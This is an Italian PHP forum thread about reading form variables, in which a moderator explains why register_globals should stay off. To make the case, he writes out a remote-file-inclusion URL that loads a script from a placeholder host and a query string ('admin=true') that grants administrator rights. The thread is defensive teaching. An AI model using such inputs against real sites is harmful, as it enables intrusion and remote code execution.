![]() |
![]() |
|
| Condividi questo contenuto nei Social Network: |
|
Tweet |
|
|
|
Ti stiamo aspettando: Registrati subito e gratis. Entra a far parte di una delle comunità più attive in Italia. Se hai dimenticato i tuoi dati li puoi recuperare subito. |
||||
|
|||||||||
|
|
LinkBack | Strumenti di discussione |
|
|
#1 (permalink) |
|
User
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
|
Form in php, il passaggio delle variabili
Chiedo chiarimenti alla grande comunità di GT con la promessa di fare una degna presentazione in seguito.
Chiedo chiarimenti proprio qui perché leggendo la guida sui form in php ho confermato che il mio procedimento era giusto ma non funzionante. Mi spiego in codice forse è meglio: Codice:
<form action="sessionx.php" method="post" name="modulo" enctype="multipart/form-data">
Username: <input name="user" type="text" size="20" maxlength="50" id="user" /><br />
Password: <input name="pass" type="password" size="20" maxlength="50" id="pass" /><br />
<input type="submit" value="Log-in" name="submit" />
</form>
Codice:
<?php echo ("user= ".$_POST["user"]." pass= ".$pass); ?> <? print var_dump($_POST); ?> perché? cosa succede? |
|
|
|
|
|
|
|
#2 (permalink) |
|
Moderatore
|
Perchè se hai in php register_globals su off(cosa che consiglio vivamente), è normale che $pass non abbia nessun valore, e che quindi dovresti usare
$_POST['pass'] Quindi... Codice PHP:
|
|
|
|
|
|
#3 (permalink) |
|
User
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
|
Lo trovo un tantinello più lungo, ma se mi spieghi perché è preferibile tenere register_globals su off vado avanti come mi consigli
![]() |
|
|
|
|
|
#4 (permalink) |
|
Moderatore
|
register globals ti permette di usare una variabile già pronta con i parametri get e post..
un esempio con get(che sarebbe equivalente a post, solo che userai un form) pagina.php?var=2 se register_globals è on, invece di usare $_POST['var'] come variabile superglobale, userai $var come variabile superglobale E quindi, se fai echo $var ; Ti compare 2... Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a tua insaputa Considera questo esempio(tratto dal mio libro di programmazione) Codice PHP:
lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo E cosi la tua pagina includerebbe http://www.esempio.com/script_malevolo.php che puo contere chissà quale codice, ad esempio Codice PHP:
Un altro esempio? Codice PHP:
paginaconadmin.php?admin=true Potrebbe entrare con i privilegi di amministratore... Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto tenere register_globals su off! Tutto chiaro? ![]() |
|
|
|
|
|
#7 (permalink) |
|
Moderatore
|
Con l'array superglobale $_GET
Codice PHP:
Inoltre, per essere più sbrigativi , potresti fare così: Codice PHP:
![]() |
|
|
|